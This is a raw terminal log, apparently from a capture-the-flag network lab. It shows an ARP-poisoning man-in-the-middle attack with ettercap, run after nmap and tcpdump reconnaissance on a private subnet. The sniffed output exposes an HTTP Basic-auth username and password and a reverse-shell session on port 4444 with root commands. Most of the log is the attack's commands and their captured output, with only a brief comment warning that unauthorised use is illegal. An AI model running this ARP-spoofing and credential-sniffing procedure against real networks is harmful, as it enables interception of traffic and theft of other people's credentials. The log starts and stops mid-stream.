| P (0) Mon Feb 6 16:51:34 2023 [268132] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:51:37 2023 [271384] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:51:37 2023 [271413] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:51:40 2023 [276214] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:51:40 2023 [276246] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:51:43 2023 [292727] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:51:43 2023 [292756] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:51:46 2023 [304946] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:51:46 2023 [304977] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:51:49 2023 [306119] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:51:49 2023 [306155] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:51:52 2023 [311012] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:51:52 2023 [311043] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:51:55 2023 [317962] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:51:55 2023 [318029] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:51:58 2023 [383605] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:51:58 2023 [383645] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:01 2023 [550025] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:01 2023 [550056] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:04 2023 [558717] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:04 2023 [558744] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:07 2023 [571144] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:07 2023 [571174] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:10 2023 [575564] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:10 2023 [575595] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:13 2023 [587796] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:13 2023 [587826] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:16 2023 [603934] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:16 2023 [603963] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:19 2023 [614197] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:19 2023 [614243] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:22 2023 [628388] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:22 2023 [628417] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:25 2023 [639180] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:25 2023 [639213] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:28 2023 [653486] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:28 2023 [653542] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:31 2023 [670502] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:31 2023 [670563] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:34 2023 [688395] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:34 2023 [688421] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:37 2023 [721178] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:37 2023 [721208] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:40 2023 [746239] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:40 2023 [746271] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:43 2023 [771222] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:43 2023 [771253] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:46 2023 [788065] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:46 2023 [788110] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:49 2023 [795742] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:49 2023 [795772] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:52 2023 [816883] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:52 2023 [816915] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:55 2023 [820864] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:55 2023 [820893] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:52:58 2023 [830620] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:52:58 2023 [830650] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:53:01 2023 [843976] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:53:01 2023 [844014] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:53:04 2023 [864966] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:53:04 2023 [865000] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:53:07 2023 [866256] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:53:07 2023 [866287] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:53:10 2023 [870539] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:53:10 2023 [870573] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:53:13 2023 [883192] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:53:13 2023 [883225] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:53:16 2023 [891881] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:53:16 2023 [891913] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:53:19 2023 [904389] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:53:19 2023 [904420] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:53:22 2023 [908831] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:53:22 2023 [908863] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:53:25 2023 [917842] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:53:25 2023 [917873] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:53:28 2023 [930954] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:53:28 2023 [930985] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:53:31 2023 [951517] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:53:31 2023 [951548] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:53:34 2023 [955913] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:53:34 2023 [955946] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:53:37 2023 [967419] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:53:37 2023 [967452] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Closing text interface... Terminating ettercap... Lua cleanup complete! ARP poisoner deactivated. RE-ARPing the victims... Mon Feb 6 16:53:40 2023 [976672] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:53:40 2023 [976702] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Unified sniffing was stopped. La salida muestra información sobre el tráfico en la red, pero no se menciona la ejecución exitosa de un ataque de suplantación de ARP o de sniffing de tráfico. Anyway, Ettercap can establish a Man-in-the-Middle (MITM) attack between Alice and Bob, given that Ettercap is a tool that can perform various network attacks including MITM. However, it is important to note that performing any unauthorized network activity is illegal and unethical.

┌──(kali㉿kali)-[~] └─$ ssh admin@10.10.148.6 The authenticity of host '10.10.148.6 (10.10.148.6)' can't be established. ED25519 key fingerprint is SHA256:QKJ7M2afSUAQcRjyw4fi0Jb4Hik8yPJz4AQI2rAr63A. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:268: [hashed name] ~/.ssh/known_hosts:270: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.148.6' (ED25519) to the list of known hosts. admin@10.10.148.6's password: Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-107-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information disabled due to load higher than 1.0 * Super-optimized for small spaces - read how we shrank the memory footprint of MicroK8s to make it the smallest full K8s around. https://ubuntu.com/blog/microk8s-memory-optimisation 25 updates can be applied immediately. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update __/\\\______________/\\\_________________/\\\\\\___________________________________________________________________ _\/\\\_____________\/\\\________________\////\\\___________________________________________________________________ _\/\\\_____________\/\\\___________________\/\\\___________________________________________________________________ _\//\\\____/\\\____/\\\______/\\\\\\\\_____\/\\\________/\\\\\\\\_____/\\\\\_______/\\\\\__/\\\\\_______/\\\\\\\\__ __\//\\\__/\\\\\__/\\\_____/\\\/////\\\____\/\\\______/\\\//////____/\\\///\\\___/\\\///\\\\\///\\\___/\\\/////\\\_ ___\//\\\/\\\/\\\/\\\_____/\\\\\\\\\\\_____\/\\\_____/\\\__________/\\\__\//\\\_\/\\\_\//\\\__\/\\\__/\\\\\\\\\\\__ ____\//\\\\\\//\\\\\_____\//\\///////______\/\\\____\//\\\________\//\\\__/\\\__\/\\\__\/\\\__\/\\\_\//\\///////___ _____\//\\\__\//\\\_______\//\\\\\\\\\\__/\\\\\\\\\__\///\\\\\\\\__\///\\\\\/___\/\\\__\/\\\__\/\\\__\//\\\\\\\\\\_ ______\///____\///_________\//////////__\/////////_____\////////_____\/////_____\///___\///___\///____\//////////__ ________________________________________________________________/\\\________________________ _______________________________________________________________\/\\\________________________ _____/\\\____________________________________________/\\\______\/\\\________________________ __/\\\\\\\\\\\_____/\\\\\_________________________/\\\\\\\\\\\_\/\\\_____________/\\\\\\\\__ _\////\\\////____/\\\///\\\______________________\////\\\////__\/\\\\\\\\\\____/\\\/////\\\_ ____\/\\\_______/\\\__\//\\\________________________\/\\\______\/\\\/////\\\__/\\\\\\\\\\\__ ____\/\\\_/\\__\//\\\__/\\\_________________________\/\\\_/\\__\/\\\___\/\\\_\//\\///////___ ____\//\\\\\____\///\\\\\/__________________________\//\\\\\___\/\\\___\/\\\__\//\\\\\\\\\\_ _____\/////_______\/////_____________________________\/////____\///____\///____\//////////__ __/\\\\\\\\\\\\________________________________________________________________________________________ _\/\\\////////\\\______________________________________________________________________________________ _\/\\\______\//\\\_______________________________/\\\\\\\\_____________________________________________ _\/\\\_______\/\\\__/\\\____/\\\__/\\/\\\\\\____/\\\////\\\_____/\\\\\\\\______/\\\\\_____/\\/\\\\\\___ _\/\\\_______\/\\\_\/\\\___\/\\\_\/\\\////\\\__\//\\\\\\\\\___/\\\/////\\\___/\\\///\\\__\/\\\////\\\__ _\/\\\_______\/\\\_\/\\\___\/\\\_\/\\\__\//\\\__\///////\\\__/\\\\\\\\\\\___/\\\__\//\\\_\/\\\__\//\\\_ _\/\\\_______/\\\__\/\\\___\/\\\_\/\\\___\/\\\__/\\_____\\\_\//\\///////___\//\\\__/\\\__\/\\\___\/\\\_ _\/\\\\\\\\\\\\/___\//\\\\\\\\\__\/\\\___\/\\\_\//\\\\\\\\___\//\\\\\\\\\\__\///\\\\\/___\/\\\___\/\\\_ _\////////////______\/////////___\///____\///___\////////_____\//////////_____\/////_____\///____\///__ ______________________/\\\\\___________________________/\\\\\__________/\\\\\\\\\\\____/\\\\\\\\\\\_______ ____________________/\\\///__________________________/\\\///\\\______/\\\/////////\\\_\/////\\\///________ ___________________/\\\____________________________/\\\/__\///\\\___\//\\\______\///______\/\\\___________ _____/\\\\\_____/\\\\\\\\\________________________/\\\______\//\\\___\////\\\_____________\/\\\___________ ___/\\\///\\\__\////\\\//________________________\/\\\_______\/\\\______\////\\\__________\/\\\______/\\\_ __/\\\__\//\\\____\/\\\__________________________\//\\\______/\\\__________\////\\\_______\/\\\_____\///__ _\//\\\__/\\\_____\/\\\___________________________\///\\\__/\\\_____/\\\______\//\\\______\/\\\___________ __\///\\\\\/______\/\\\_____________________________\///\\\\\/_____\///\\\\\\\\\\\/____/\\\\\\\\\\\__/\\\_ ____\/////________\///________________________________\/////_________\///////////_____\///////////__\///__ __/\\\_________________/\\\\\\\\\_____/\\\________/\\\__/\\\\\\\\\\\\\\\____/\\\\\\\\\__________________/\\\\\\\\\_____ _\/\\\_______________/\\\\\\\\\\\\\__\///\\\____/\\\/__\/\\\///////////___/\\\///////\\\______________/\\\///////\\\___ _\/\\\______________/\\\/////////\\\___\///\\\/\\\/____\/\\\_____________\/\\\_____\/\\\_____________\///______\//\\\__ _\/\\\_____________\/\\\_______\/\\\_____\///\\\/______\/\\\\\\\\\\\_____\/\\\\\\\\\\\/________________________/\\\/___ _\/\\\_____________\/\\\\\\\\\\\\\\\_______\/\\\_______\/\\\///////______\/\\\//////\\\_____________________/\\\//_____ _\/\\\_____________\/\\\/////////\\\_______\/\\\_______\/\\\_____________\/\\\____\//\\\_________________/\\\//________ _\/\\\_____________\/\\\_______\/\\\_______\/\\\_______\/\\\_____________\/\\\_____\//\\\______________/\\\/___________ _\/\\\\\\\\\\\\\\\_\/\\\_______\/\\\_______\/\\\_______\/\\\\\\\\\\\\\\\_\/\\\______\//\\\____________/\\\\\\\\\\\\\\\_ _\///////////////__\///________\///________\///________\///////////////__\///________\///____________\///////////////__ ____/\\\__/\\\______________________________________________________________________________________________________________________ ___\/\\\_\/\\\______________________________________________________________________________________________________________________ __/\\\\\\\\\\\\\____________________/\\\__________/\\\__________________________________________________________________/\\\\\\\\\__ _\///\\\///\\\/______/\\\\\\\\___/\\\\\\\\\\\__/\\\\\\\\\\\_____/\\\\\\\\___/\\/\\\\\\\______/\\\\\\\\__/\\\\\\\\\_____/\\\/////\\\_ ___\/\\\_\/\\\_____/\\\/////\\\_\////\\\////__\////\\\////____/\\\/////\\\_\/\\\/////\\\___/\\\//////__\////////\\\___\/\\\\\\\\\\__ __/\\\\\\\\\\\\\__/\\\\\\\\\\\_____\/\\\_________\/\\\_______/\\\\\\\\\\\__\/\\\___\///___/\\\___________/\\\\\\\\\\__\/\\\//////___ _\///\\\///\\\/__\//\\///////______\/\\\_/\\_____\/\\\_/\\__\//\\///////___\/\\\_________\//\\\_________/\\\/////\\\__\/\\\_________ ___\/\\\_\/\\\____\//\\\\\\\\\\____\//\\\\\______\//\\\\\____\//\\\\\\\\\\_\/\\\__________\///\\\\\\\\_\//\\\\\\\\/\\_\/\\\_________ ___\///__\///______\//////////______\/////________\/////______\//////////__\///_____________\////////___\////////\//__\///__________ admin@eve:~$ sudo su - [sudo] password for admin: root@eve:~# ip a s eth1 8: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether 0e:d9:c1:ed:a6:c1 brd ff:ff:ff:ff:ff:ff inet 192.168.12.66/24 brd 192.168.12.255 scope global eth1 valid_lft forever preferred_lft forever inet6 fe80::8862:1aff:fee7:9471/64 scope link valid_lft forever preferred_lft forever root@eve:~# nmap -n 192.168.12.66/24 Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-06 17:13 UTC Nmap scan report for 192.168.12.10 Host is up (0.078s latency). Not shown: 999 closed ports PORT STATE SERVICE 4444/tcp open krb524 MAC Address: D2:57:A7:74:E2:65 (Unknown) Nmap scan report for 192.168.12.20 Host is up (0.037s latency). Not shown: 999 closed ports PORT STATE SERVICE 80/tcp open http MAC Address: 3E:77:4D:F0:14:DB (Unknown) Nmap scan report for 192.168.12.66 Host is up (0.0000080s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 5000/tcp open upnp 5002/tcp open rfe Nmap done: 256 IP addresses (3 hosts up) scanned in 7.08 seconds root@eve:~# tcpdump -vvA -i eth1 tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes 17:15:52.920853 IP6 (hlim 255, next-header ICMPv6 (58) payload length: 16) fe80::d057:a7ff:fe74:e265 > ip6-allrouters: [icmp6 sum ok] ICMP6, router solicitation, length 16 source link-address option (1), length 8 (1): d2:57:a7:74:e2:65 0x0000: d257 a774 e265 `.....:..........W...t.e...........................W.t.e 17:16:15.448865 IP6 (hlim 255, next-header ICMPv6 (58) payload length: 16) fe80::3c77:4dff:fef0:14db > ip6-allrouters: [icmp6 sum ok] ICMP6, router solicitation, length 16 source link-address option (1), length 8 (1): 3e:77:4d:f0:14:db 0x0000: 3e77 4df0 14db `.....:.........<wM.......................<.......>wM... ^C 2 packets captured 2 packets received by filter 0 packets dropped by kernel root@eve:~# ettercap -T -i eth1 -M arp ettercap 0.8.3 copyright 2001-2019 Ettercap Development Team Listening on: eth1 -> 0E:D9:C1:ED:A6:C1 192.168.12.66/255.255.255.0 fe80::8862:1aff:fee7:9471/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/all/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 34 plugins 42 protocol dissectors 57 ports monitored 24609 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 2 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : ANY (all the hosts in the list) GROUP 2 : ANY (all the hosts in the list) Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help Mon Feb 6 17:17:09 2023 [991844] 192.168.12.10:0 --> 192.168.12.20:0 | (0) Mon Feb 6 17:17:09 2023 [991952] 192.168.12.20:0 --> 192.168.12.10:0 | (0) Mon Feb 6 17:17:10 2023 [768223] TCP 192.168.12.10:4444 --> 192.168.12.20:44092 | AP (4) pwd Mon Feb 6 17:17:10 2023 [769285] TCP 192.168.12.20:44092 --> 192.168.12.10:4444 | FA (0) Mon Feb 6 17:17:10 2023 [820832] TCP 192.168.12.10:4444 --> 192.168.12.20:44092 | A (0) Mon Feb 6 17:17:11 2023 [77997] TCP 192.168.12.10:47584 --> 192.168.12.20:80 | S (0) Mon Feb 6 17:17:11 2023 [81091] TCP 192.168.12.20:80 --> 192.168.12.10:47584 | SA (0) Mon Feb 6 17:17:11 2023 [89037] TCP 192.168.12.10:47584 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:17:11 2023 [89389] TCP 192.168.12.10:47584 --> 192.168.12.20:80 | AP (133) GET /test.txt HTTP/1.1. Host: www.server.bob. Authorization: Basic YWRtaW46czNjcjN0X1A0eno=. User-Agent: curl/7.68.0. Accept: */*. . HTTP : 192.168.12.20:80 -> USER: admin PASS: s3cr3t_P4zz INFO: www.server.bob/test.txt Mon Feb 6 17:17:11 2023 [97081] TCP 192.168.12.20:80 --> 192.168.12.10:47584 | A (0) Mon Feb 6 17:17:11 2023 [99264] TCP 192.168.12.20:80 --> 192.168.12.10:47584 | AP (17) HTTP/1.0 200 OK. Mon Feb 6 17:17:11 2023 [99489] TCP 192.168.12.20:80 --> 192.168.12.10:47584 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:17:11 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK Mon Feb 6 17:17:11 2023 [105138] TCP 192.168.12.10:47584 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:17:11 2023 [106039] TCP 192.168.12.10:47584 --> 192.168.12.20:80 | FA (0) Mon Feb 6 17:17:11 2023 [113126] TCP 192.168.12.20:80 --> 192.168.12.10:47584 | A (0) Mon Feb 6 17:17:11 2023 [942573] TCP 192.168.12.10:4444 --> 192.168.12.20:44096 | AP (4) pwd Mon Feb 6 17:17:11 2023 [945003] TCP 192.168.12.20:44096 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:17:11 2023 [945228] TCP 192.168.12.20:44096 --> 192.168.12.10:4444 | AP (6) /root Mon Feb 6 17:17:11 2023 [953105] TCP 192.168.12.10:4444 --> 192.168.12.20:44096 | A (0) Mon Feb 6 17:17:14 2023 [769305] TCP 192.168.12.10:4444 --> 192.168.12.20:44092 | AP (3) ls Mon Feb 6 17:17:14 2023 [777002] TCP 192.168.12.20:44092 --> 192.168.12.10:4444 | R (0) Mon Feb 6 17:17:15 2023 [943649] TCP 192.168.12.10:4444 --> 192.168.12.20:44096 | AP (3) ls Mon Feb 6 17:17:15 2023 [945002] TCP 192.168.12.20:44096 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:17:15 2023 [950204] TCP 192.168.12.20:44096 --> 192.168.12.10:4444 | AP (30) rev.go root.txt server.sh www Mon Feb 6 17:17:15 2023 [953066] TCP 192.168.12.10:4444 --> 192.168.12.20:44096 | A (0) Mon Feb 6 17:17:19 2023 [944789] TCP 192.168.12.10:4444 --> 192.168.12.20:44096 | AP (7) whoami Mon Feb 6 17:17:19 2023 [954165] TCP 192.168.12.20:44096 --> 192.168.12.10:4444 | AP (5) root Mon Feb 6 17:17:19 2023 [960960] TCP 192.168.12.10:4444 --> 192.168.12.20:44096 | A (0) Mon Feb 6 17:17:21 2023 [84418] TCP 192.168.12.20:44100 --> 192.168.12.10:4444 | S (0) Mon Feb 6 17:17:21 2023 [89145] TCP 192.168.12.10:4444 --> 192.168.12.20:44100 | SA (0) Mon Feb 6 17:17:21 2023 [97075] TCP 192.168.12.20:44100 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:17:21 2023 [107362] TCP 192.168.12.10:4444 --> 192.168.12.20:44100 | AP (7) whoami Mon Feb 6 17:17:21 2023 [113067] TCP 192.168.12.20:44100 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:17:21 2023 [114704] TCP 192.168.12.20:44100 --> 192.168.12.10:4444 | AP (5) root Mon Feb 6 17:17:21 2023 [121135] TCP 192.168.12.10:4444 --> 192.168.12.20:44100 | A (0) Mon Feb 6 17:17:23 2023 [117738] TCP 192.168.12.10:47588 --> 192.168.12.20:80 | S (0) Mon Feb 6 17:17:23 2023 [121057] TCP 192.168.12.20:80 --> 192.168.12.10:47588 | SA (0) Mon Feb 6 17:17:23 2023 [129031] TCP 192.168.12.10:47588 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:17:23 2023 [129437] TCP 192.168.12.10:47588 --> 192.168.12.20:80 | AP (133) GET /test.txt HTTP/1.1. Host: www.server.bob. Authorization: Basic YWRtaW46czNjcjN0X1A0eno=. User-Agent: curl/7.68.0. Accept: */*. . HTTP : 192.168.12.20:80 -> USER: admin PASS: s3cr3t_P4zz INFO: www.server.bob/test.txt Mon Feb 6 17:17:23 2023 [137107] TCP 192.168.12.20:80 --> 192.168.12.10:47588 | A (0) Mon Feb 6 17:17:23 2023 [139032] TCP 192.168.12.20:80 --> 192.168.12.10:47588 | AP (17) HTTP/1.0 200 OK. Mon Feb 6 17:17:23 2023 [139252] TCP 192.168.12.20:80 --> 192.168.12.10:47588 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:17:23 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK Mon Feb 6 17:17:23 2023 [145092] TCP 192.168.12.10:47588 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:17:23 2023 [146222] TCP 192.168.12.10:47588 --> 192.168.12.20:80 | FA (0) Mon Feb 6 17:17:23 2023 [153119] TCP 192.168.12.20:80 --> 192.168.12.10:47588 | A (0) Mon Feb 6 17:17:23 2023 [946091] TCP 192.168.12.10:4444 --> 192.168.12.20:44096 | AP (4) pwd Mon Feb 6 17:17:23 2023 [953385] TCP 192.168.12.20:44096 --> 192.168.12.10:4444 | FA (0) Mon Feb 6 17:17:24 2023 [4806] TCP 192.168.12.10:4444 --> 192.168.12.20:44096 | A (0) Mon Feb 6 17:17:25 2023 [109381] TCP 192.168.12.10:4444 --> 192.168.12.20:44100 | AP (4) pwd Mon Feb 6 17:17:25 2023 [112997] TCP 192.168.12.20:44100 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:17:25 2023 [113204] TCP 192.168.12.20:44100 --> 192.168.12.10:4444 | AP (6) /root Mon Feb 6 17:17:25 2023 [121031] TCP 192.168.12.10:4444 --> 192.168.12.20:44100 | A (0) Mon Feb 6 17:17:27 2023 [947184] TCP 192.168.12.10:4444 --> 192.168.12.20:44096 | AP (3) ls Mon Feb 6 17:17:27 2023 [952984] TCP 192.168.12.20:44096 --> 192.168.12.10:4444 | R (0) Mon Feb 6 17:17:29 2023 [110385] TCP 192.168.12.10:4444 --> 192.168.12.20:44100 | AP (3) ls Mon Feb 6 17:17:29 2023 [112949] TCP 192.168.12.20:44100 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:17:29 2023 [114214] TCP 192.168.12.20:44100 --> 192.168.12.10:4444 | AP (30) rev.go root.txt server.sh www Mon Feb 6 17:17:29 2023 [121086] TCP 192.168.12.10:4444 --> 192.168.12.20:44100 | A (0) Mon Feb 6 17:17:33 2023 [119014] TCP 192.168.12.10:4444 --> 192.168.12.20:44100 | AP (7) whoami Mon Feb 6 17:17:33 2023 [126465] TCP 192.168.12.20:44100 --> 192.168.12.10:4444 | AP (5) root Mon Feb 6 17:17:33 2023 [133028] TCP 192.168.12.10:4444 --> 192.168.12.20:44100 | A (0) Mon Feb 6 17:17:34 2023 [361575] TCP 192.168.12.20:44104 --> 192.168.12.10:4444 | S (0) Mon Feb 6 17:17:34 2023 [365029] TCP 192.168.12.10:4444 --> 192.168.12.20:44104 | SA (0) Mon Feb 6 17:17:34 2023 [372983] TCP 192.168.12.20:44104 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:17:34 2023 [383186] TCP 192.168.12.10:4444 --> 192.168.12.20:44104 | AP (7) whoami Mon Feb 6 17:17:34 2023 [393118] TCP 192.168.12.20:44104 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:17:34 2023 [394556] TCP 192.168.12.20:44104 --> 192.168.12.10:4444 | AP (5) root Mon Feb 6 17:17:34 2023 [401043] TCP 192.168.12.10:4444 --> 192.168.12.20:44104 | A (0) Mon Feb 6 17:17:35 2023 [179433] TCP 192.168.12.10:47592 --> 192.168.12.20:80 | S (0) Mon Feb 6 17:17:35 2023 [181104] TCP 192.168.12.20:80 --> 192.168.12.10:47592 | SA (0) Mon Feb 6 17:17:35 2023 [188952] TCP 192.168.12.10:47592 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:17:35 2023 [189317] TCP 192.168.12.10:47592 --> 192.168.12.20:80 | AP (133) GET /test.txt HTTP/1.1. Host: www.server.bob. Authorization: Basic YWRtaW46czNjcjN0X1A0eno=. User-Agent: curl/7.68.0. Accept: */*. . HTTP : 192.168.12.20:80 -> USER: admin PASS: s3cr3t_P4zz INFO: www.server.bob/test.txt Mon Feb 6 17:17:35 2023 [197104] TCP 192.168.12.20:80 --> 192.168.12.10:47592 | A (0) Mon Feb 6 17:17:35 2023 [199050] TCP 192.168.12.20:80 --> 192.168.12.10:47592 | AP (17) HTTP/1.0 200 OK. Mon Feb 6 17:17:35 2023 [199294] TCP 192.168.12.20:80 --> 192.168.12.10:47592 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:17:35 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK Mon Feb 6 17:17:35 2023 [205072] TCP 192.168.12.10:47592 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:17:35 2023 [206314] TCP 192.168.12.10:47592 --> 192.168.12.20:80 | FA (0) Mon Feb 6 17:17:35 2023 [218665] TCP 192.168.12.20:80 --> 192.168.12.10:47592 | A (0) Mon Feb 6 17:17:37 2023 [120992] TCP 192.168.12.10:4444 --> 192.168.12.20:44100 | AP (4) pwd Mon Feb 6 17:17:37 2023 [133796] TCP 192.168.12.20:44100 --> 192.168.12.10:4444 | FA (0) Mon Feb 6 17:17:37 2023 [184880] TCP 192.168.12.10:4444 --> 192.168.12.20:44100 | A (0) Mon Feb 6 17:17:38 2023 [385224] TCP 192.168.12.10:4444 --> 192.168.12.20:44104 | AP (4) pwd Mon Feb 6 17:17:38 2023 [399721] TCP 192.168.12.20:44104 --> 192.168.12.10:4444 | A (0) Mon Feb 6 